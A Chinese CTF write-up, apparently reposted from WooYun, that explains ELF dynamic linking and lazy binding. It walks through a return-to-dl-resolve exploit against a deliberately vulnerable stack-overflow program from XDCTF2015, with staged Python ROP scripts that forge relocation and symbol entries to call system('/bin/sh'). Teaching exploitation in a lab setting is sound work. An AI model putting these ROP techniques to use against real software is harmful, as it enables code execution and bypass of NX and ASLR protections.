<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/binary/14360

            0x00 前言


            玩CTF的賽棍都知道,PWN類型的漏洞題目一般會提供一個可執行程序,同時會提供程序運行動態鏈接的libc庫。通過libc.so可以得到庫函數的偏移地址,再結合泄露GOT表中libc函數的地址,計算出進程中實際函數的地址,以繞過ASLR。這種手法叫return-to-libc。本文將介紹一種不依賴libc的手法。

            以XDCTF2015-EXPLOIT2為例,這題當時是只給了可執行文件的。出這題的初衷就是想通過Return-to-dl-resolve的手法繞過NX和ASLR的限制。本文將詳細介紹一下該手法的利用過程。

            這里構造一個存在棧緩沖區溢出漏洞的程序,以方便后續我們構造ROP鏈。

            #!cpp
            #include <unistd.h>
            #include <stdio.h>
            #include <string.h>
            
            void vuln()
            {
                char buf[100];
                setbuf(stdin,buf);
                read(0,buf,256); // Buffer OverFlow
            }
            
            int main()
            {
                char buf[100] = "Welcome to XDCTF2015~!\n";
            
                setbuf(stdout,buf);
                write(1,buf,strlen(buf));
            
                vuln();
            
                return 0;
            }
            

            0x01 準備知識


            相關結構

            ELF可執行文件由ELF頭部,程序頭部表和其對應的段,節區頭部表和其對應的節組成。如果一個可執行文件參與動態鏈接,它的程序頭部表將包含類型為 PT_DYNAMIC 的段,它包含.dynamic 節區。結構如圖,

            #!c
            typedef struct {
                Elf32_Sword d_tag;
                union {
                    Elf32_Word  d_val;
                    Elf32_Addr  d_ptr;
                } d_un;
            } Elf32_Dyn;
            

            其中Tag對應著每個節區。比如JMPREL對應著.rel.plt

            Alt text

            節區中包含目標文件的所有信息。節的結構如圖。

            #!c
            typedef struct{
                Elf32_Word sh_name;        // 節區頭部字符串表節區的索引
                Elf32_Word sh_type;        // 節區類型
                Elf32_Word sh_flags;       // 節區標志,用于描述屬性
                Elf32_Addr sh_addr;        // 節區的內存映像
                Elf32_Off  sh_offset;      // 節區的文件偏移
                Elf32_Word sh_size;        // 節區的長度
                Elf32_Word sh_link;        // 節區頭部表索引鏈接
                Elf32_Word sh_info;        // 附加信息
                Elf32_Word sh_addralign;   // 節區對齊約束
                Elf32_Word sh_entsize;     // 固定大小的節區表項的長度
            }Elf32_Shdr;
            

            如圖,列出了該文件的28個節區。其中類型為REL的節區包含重定位表項。

            Alt text

            (1) 其中.rel.plt節是用于函數重定位,.rel.dyn節是用于變量重定位

            #!c
            typedef struct {
                Elf32_Addr r_offset;    // 對于可執行文件,此值為虛擬地址
                Elf32_Word r_info;      // 符號表索引
            } Elf32_Rel;
            #define ELF32_R_SYM(i) ((i)>>8)
            #define ELF32_R_TYPE(i) ((unsigned char)(i))
            #define ELF32_R_INFO(s, t) (((s)<<8) + (unsigned char)(t))
            

            如圖,在.rel.plt中列出了鏈接的C庫函數,以下均已write函數為例,write函數的r_offset=0x804a010,r_info=0x507

            Alt text

            (2) 其中.got節保存全局變量偏移表,.got.plt節存儲著全局函數偏離表。.got.plt對應著Elf32_Rel結構中r_offset的值。如圖,write函數在GOT表中位于0x804a010

            Alt text

            (3)其中.dynsym節區包含了動態鏈接符號表。其中,Elf32_Sym[num]中的num對應著ELF32_R_SYM(Elf32_Rel->r_info)。根據定義,ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info)>>8

            #!c
            typedef struct
            {
                Elf32_Word    st_name;   /* Symbol name (string tbl index) */
                Elf32_Addr    st_value;  /* Symbol value */
                Elf32_Word    st_size;   /* Symbol size */
                unsigned char st_info;   /* Symbol type and binding */
                unsigned char st_other;  /* Symbol visibility under glibc>=2.2 */
                Elf32_Section st_shndx;  /* Section index */
            } Elf32_Sym;
            

            如圖,write的索引值為ELF32_R_SYM(0x507) = 0x507 >> 8 = 5。而Elf32_Sym[5]即保存著write的符號表信息。并且ELF32_R_TYPE(0x507) = 7,對應R_386_JUMP_SLOT

            Alt text

            (4)其中.dynstr節包含了動態鏈接的字符串。這個節區以\x00作為開始和結尾,中間每個字符串也以\x00間隔。如圖,Elf32_Sym[5]->st_name = 0x54,所以.dynstr加上0x54的偏移量,就是字符串write

            Alt text

            (5)其中.plt節是過程鏈接表。過程鏈接表把位置獨立的函數調用重定向到絕對位置。如圖,當程序執行call [email protected]時,實際會跳到0x80483c0去執行。

            Alt text

            延遲綁定

            程序在執行的過程中,可能引入的有些C庫函數到結束時都不會執行。所以ELF采用延遲綁定的技術,在第一次調用C庫函數是時才會去尋找真正的位置進行綁定。

            具體來說,在前一部分我們已經知道,當程序執行call [email protected]時,實際會跳到0x80483c0去執行。而0x80483c0處的匯編代碼僅僅三行。我們來看一下這三行代碼做了什么。

            Alt text

            第一行,上一部分也提到了0x804a010write的GOT表位置,當我們第一次調用write時,其對應的GOT表里并沒有存放write的真實地址,而是下一條指令的地址。第二、三行,把reloc_arg=0x20作為參數推入棧中,跳到0x8048370繼續執行。

            Alt text

            0x8048370再把link_map = *(GOT+4)作為參數推入棧中,而*(GOT+8)中保存的是_dl_runtime_resolve函數的地址。因此以上指令相當于執行了_dl_runtime_resolve(link_map, reloc_arg),該函數會完成符號的解析,即將真實的write函數地址寫入其GOT條目中,隨后把控制權交給write函數。

            Alt text

            其中_dl_runtime_resolve是在glibc-2.22/sysdeps/i386/dl-trampoline.S中用匯編實現的。0xf7ff04fb處即調用_dl_fixup,并且通過寄存器傳參。

            Alt text

            其中_dl_fixup是在glibc-2.22/elf/dl-runtime.c實現的,我們只關注一些主要函數。

            #!c
            _dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
            

            首先通過參數reloc_arg計算重定位入口,這里的JMPREL.rel.pltreloc_offsetreloc_arg

            #!c
            const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
            

            然后通過reloc->r_info找到.dynsym中對應的條目。

            #!c
            const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
            

            這里還會檢查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7

            #!c
            assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
            

            接著通過strtab + sym->st_name找到符號表字符串,result為libc基地址

            #!c
            result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,version, ELF_RTYPE_CLASS_PLT, flags, NULL);
            

            value為libc基址加上要解析函數的偏移地址,也即實際地址。

            #!c
            value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
            

            最后把value寫入相應的GOT表條目中

            #!c
            return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
            

            漏洞利用方式

            1. 控制EIP為PLT[0]的地址,只需傳遞一個index_arg參數
            2. 控制index_arg的大小,使reloc的位置落在可控地址內
            3. 偽造reloc的內容,使sym落在可控地址內
            4. 偽造sym的內容,使name落在可控地址內
            5. 偽造name為任意庫函數,如system

            控制EIP

            首先確認一下進程當前開了哪些保護

            Alt text

            由于程序存在棧緩沖區漏洞,我們可以用PEDA很快定位覆寫EIP的位置。

            Alt text

            stage1

            我們先寫一個ROP鏈,直接返回到[email protected]

            #!python
            from zio import *
            
            offset = 112
            
            addr_plt_read  = 0x08048390   # objdump -d -j.plt bof | grep "read"
            addr_plt_write = 0x080483c0   # objdump -d -j.plt bof | grep "write"
            
            #./rp-lin-x86  --file=bof --rop=3 --unique > gadgets.txt
            pppop_ret = 0x0804856c
            pop_ebp_ret   =  0x08048453
            leave_ret = 0x08048481
            
            stack_size = 0x800
            addr_bss   = 0x0804a020   # readelf -S bof | grep ".bss"
            base_stage = addr_bss + stack_size
            
            target = "./bof"
            io   = zio((target))
            
            io.read_until('Welcome to XDCTF2015~!\n')
            # io.gdb_hint([0x80484bd])
            
            buf1  = 'A' * offset
            buf1 += l32(addr_plt_read)
            buf1 += l32(pppop_ret)
            buf1 += l32(0)
            buf1 += l32(base_stage)
            buf1 += l32(100)
            buf1 += l32(pop_ebp_ret)
            buf1 += l32(base_stage)
            buf1 += l32(leave_ret)
            io.writeline(buf1)
            
            cmd = "/bin/sh"
            
            buf2 = 'AAAA'
            buf2 += l32(addr_plt_write)
            buf2 += 'AAAA'
            buf2 += l32(1)
            buf2 += l32(base_stage+80)
            buf2 += l32(len(cmd))
            buf2 += 'A' * (80-len(buf2))
            buf2 += cmd + '\x00'
            buf2 += 'A' * (100-len(buf2))
            io.writeline(buf2)
            io.interact()
            

            最后會把我們輸入的cmd打印出來

            Alt text

            stage2

            這次我們控制EIP返回到PLT0,要帶上index_offset。這里我們修改一下buf2

            #!python
            ...
            cmd = "/bin/sh"
            addr_plt_start = 0x8048370 # objdump -d -j.plt bof
            index_offset   = 0x20
            
            buf2 = 'AAAA'
            buf2 += l32(addr_plt_start)
            buf2 += l32(index_offset)
            buf2 += 'AAAA'
            buf2 += l32(1)
            buf2 += l32(base_stage+80)
            buf2 += l32(len(cmd))
            buf2 += 'A' * (80-len(buf2))
            buf2 += cmd + '\x00'
            buf2 += 'A' * (100-len(buf2))
            io.writeline(buf2)
            io.interact()
            

            同樣會把我們輸入的cmd打印出來

            Alt text

            stage3

            這一次我們控制index_offset,使其指向我們偽造的fake_reloc

            #!python
            ...
            cmd = "/bin/sh"
            addr_plt_start = 0x8048370 # objdump -d -j.plt bof
            addr_rel_plt   = 0x8048318 # objdump -s -j.rel.plt a.out
            index_offset   = (base_stage + 28) - addr_rel_plt
            addr_got_write = 0x804a020
            r_info         = 0x507
            fake_reloc     = l32(addr_got_write) + l32(r_info)
            
            buf2 = 'AAAA'
            buf2 += l32(addr_plt_start)
            buf2 += l32(index_offset)
            buf2 += 'AAAA'
            buf2 += l32(1)
            buf2 += l32(base_stage+80)
            buf2 += l32(len(cmd))
            buf2 += fake_reloc
            buf2 += 'A' * (80-len(buf2))
            buf2 += cmd + '\x00'
            buf2 += 'A' * (100-len(buf2))
            io.writeline(buf2)
            io.interact()
            

            同樣會把我們輸入的cmd打印出來

            Alt text

            stage4

            這一次我們偽造fake_sym,使其指向我們控制的st_name

            #!python
            cmd = "/bin/sh"
            addr_plt_start = 0x8048370 # objdump -d -j.plt bof
            addr_rel_plt   = 0x8048318 # objdump -s -j.rel.plt a.out
            index_offset   = (base_stage + 28) - addr_rel_plt
            addr_got_write = 0x804a020
            addr_dynsym    = 0x080481d8
            addr_dynstr    = 0x08048268
            fake_sym       = base_stage + 36
            align          = 0x10 - ((fake_sym - addr_dynsym) & 0xf)
            fake_sym       = fake_sym + align
            index_dynsym   = (fake_sym - addr_dynsym) / 0x10
            r_info         = (index_dynsym << 8 ) | 0x7
            fake_reloc     = l32(addr_got_write) + l32(r_info)
            st_name        = 0x54
            fake_sym       = l32(st_name) + l32(0) + l32(0) + l32(0x12)
            
            buf2 = 'AAAA'
            buf2 += l32(addr_plt_start)
            buf2 += l32(index_offset)
            buf2 += 'AAAA'
            buf2 += l32(1)
            buf2 += l32(base_stage+80)
            buf2 += l32(len(cmd))
            buf2 += fake_reloc
            buf2 += 'B' * align
            buf2 += fake_sym 
            buf2 += 'A' * (80-len(buf2))
            buf2 += cmd + '\x00'
            buf2 += 'A' * (100-len(buf2))
            io.writeline(buf2)
            io.interact()
            

            同樣會把我們輸入的cmd打印出來

            Alt text

            stage5

            這次把st_name指向我們偽造的字符串write

            #!python
            ...
            cmd = "/bin/sh"
            addr_plt_start = 0x8048370 # objdump -d -j.plt bof
            addr_rel_plt   = 0x8048318 # objdump -s -j.rel.plt a.out
            index_offset   = (base_stage + 28) - addr_rel_plt
            addr_got_write = 0x804a020
            addr_dynsym    = 0x080481d8
            addr_dynstr    = 0x08048268
            addr_fake_sym  = base_stage + 36
            align          = 0x10 - ((addr_fake_sym - addr_dynsym) & 0xf)
            addr_fake_sym  = addr_fake_sym + align
            index_dynsym   = (addr_fake_sym - addr_dynsym) / 0x10
            r_info         = (index_dynsym << 8 ) | 0x7
            fake_reloc     = l32(addr_got_write) + l32(r_info)
            st_name        = (addr_fake_sym + 16) - addr_dynstr
            fake_sym       = l32(st_name) + l32(0) + l32(0) + l32(0x12)
            
            buf2 = 'AAAA'
            buf2 += l32(addr_plt_start)
            buf2 += l32(index_offset)
            buf2 += 'AAAA'
            buf2 += l32(1)
            buf2 += l32(base_stage+80)
            buf2 += l32(len(cmd))
            buf2 += fake_reloc
            buf2 += 'B' * align
            buf2 += fake_sym
            buf2 += "write\x00"
            buf2 += 'A' * (80-len(buf2))
            buf2 += cmd + '\x00'
            buf2 += 'A' * (100-len(buf2))
            io.writeline(buf2)
            io.interact()
            

            同樣會把我們輸入的cmd打印出來

            Alt text

            stage6

            替換writesystem,并修改system的參數

            #!python
            ...
            cmd = "/bin/sh"
            addr_plt_start = 0x8048370 # objdump -d -j.plt bof
            addr_rel_plt   = 0x8048318 # objdump -s -j.rel.plt a.out
            index_offset   = (base_stage + 28) - addr_rel_plt
            addr_got_write = 0x804a020
            addr_dynsym    = 0x080481d8
            addr_dynstr    = 0x08048268
            addr_fake_sym  = base_stage + 36
            align          = 0x10 - ((addr_fake_sym - addr_dynsym) & 0xf)
            addr_fake_sym  = addr_fake_sym + align
            index_dynsym   = (addr_fake_sym - addr_dynsym) / 0x10
            r_info         = (index_dynsym << 8 ) | 0x7
            fake_reloc     = l32(addr_got_write) + l32(r_info)
            st_name        = (addr_fake_sym + 16) - addr_dynstr
            fake_sym       = l32(st_name) + l32(0) + l32(0) + l32(0x12)
            
            buf2 = 'AAAA'
            buf2 += l32(addr_plt_start)
            buf2 += l32(index_offset)
            buf2 += 'AAAA'
            buf2 += l32(base_stage+80)
            buf2 += 'aaaa'
            buf2 += 'aaaa'
            buf2 += fake_reloc
            buf2 += 'B' * align
            buf2 += fake_sym
            buf2 += "system\x00"
            buf2 += 'A' * (80-len(buf2))
            buf2 += cmd + '\x00'
            buf2 += 'A' * (100-len(buf2))
            io.writeline(buf2)
            io.interact()
            

            得到一個shell

            Alt text

            WTF

            以上只是敘述原理,當然你比較懶的話,這里已經有成熟的工具輔助編寫利用腳本roputils

            0x02 參考


            1. ELF文件格式
            2. ELF動態解析符號過程
            3. Return to dl-resolve
            4. ROP stager + Return-to-dl-resolveによるASLR+DEP回避
            5. Return to dl-resolve
            6. 通過ELF動態裝載機制進行漏洞利用

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线